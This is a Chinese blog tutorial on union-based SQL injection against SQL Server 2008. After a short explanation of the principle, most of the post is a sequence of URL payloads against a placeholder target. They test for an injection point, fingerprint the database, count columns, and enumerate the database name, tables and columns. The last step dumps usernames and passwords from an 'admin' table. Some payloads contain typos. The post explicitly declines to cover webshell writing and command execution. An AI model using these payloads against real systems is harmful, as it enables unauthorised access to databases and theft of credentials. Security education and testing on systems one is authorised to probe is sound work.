SQL注入--sql server

本文介绍SQL注入的基础原理及实战步骤,包括如何判断注入点、确定数据库类型、获取数据库信息等,详细展示了针对SQL Server 2008的具体操作流程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

谈到SQL注入,不得不提它的本质,把用户的输入数据当做代码来执行。两个关键条件,第一个是用户能够控制的输入;第二个是程序要执行的代码,拼接了用户输入的数据

按照注入的技术类型可分解为:

显错注入和盲注入,其中盲注入可分为,联合查询注入,堆查询注入,DNS查询注入,报错注入,延时注入和布尔注入。这篇文章重点在分享一些联合查询注入的命令


1.首先来判断注入点(URL类)

当目标URL为:www.target.com/1.php?id=88时,来进行简单的注入点判断;

www.target.com/1.php?id=88-0 无变化
www.target.com/1.php?id=88-1 报错


www.target.com/1.php?id=88 and 1=1 无变化
www.target.com/1.php?id=88-1 and 1=2 报错

2.判断是何种数据库
URL+/*!%20s*/ 错误则是MySQL;URL+/*pc 正常为MySQL

URL+and exists(select @@version)-- 正常为SQL Server

3.SQL Server 2008注入过程

判断字段数:

id=1/**/Order/**/By/**/5/**/-- 正常则字段数≥5      --和/**/均为注释用来注释执行语句时的代码 保证注入代码正常执行
id=1/**/Order/**/By/**/6/**/-- 错误则字段数<6

判断数据类型,字符型就可以SQL注入了

id=1/**/union/**/all/**/select/**/NULL,NULL,NULL,NULL,NULL--   正常
id=1/**/union/**/all/**/select/**/NULL,NULL,’test’,NULL,NULL--    正常
(一位一位去尝试)

显示数据库版本
id=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,NULL,@@version,NULL,NULL--

当前库名
and/**/1=2/**/union/**/all/**/select/**/NULL,db_name(),NULL,NULL,NULL from sysobjects--

指定库表名
and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from库名..sysobjects where xtype='u' and name not in(select top 0 name from 库名..sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--

当前库查询表

and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where
xtype='u')),NULL,NULL,NULL from sysobjects--     //第二个top从0开始输入 1,2,....列出当前库所有表名

查询admin变内的字段

d=1/**/and/**/1=2/**/union/**/all/**/select/**/NULL,(select top 1 name from syscolumns where id in (select id from sysobjects where name='admin') and name not in (select top 1 name from syscolumns where id in (select id from sysobjects where name='admin'))),NULL,NULL,NULL fromsysobjects--//第二个top从0开始遍历

查看admin变字段id,username,password的内容

id=1 and 1=2 union all select id,username,password,NULL,NULL from admin--

webshell写入和系统命令执行就不能再分享了





评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值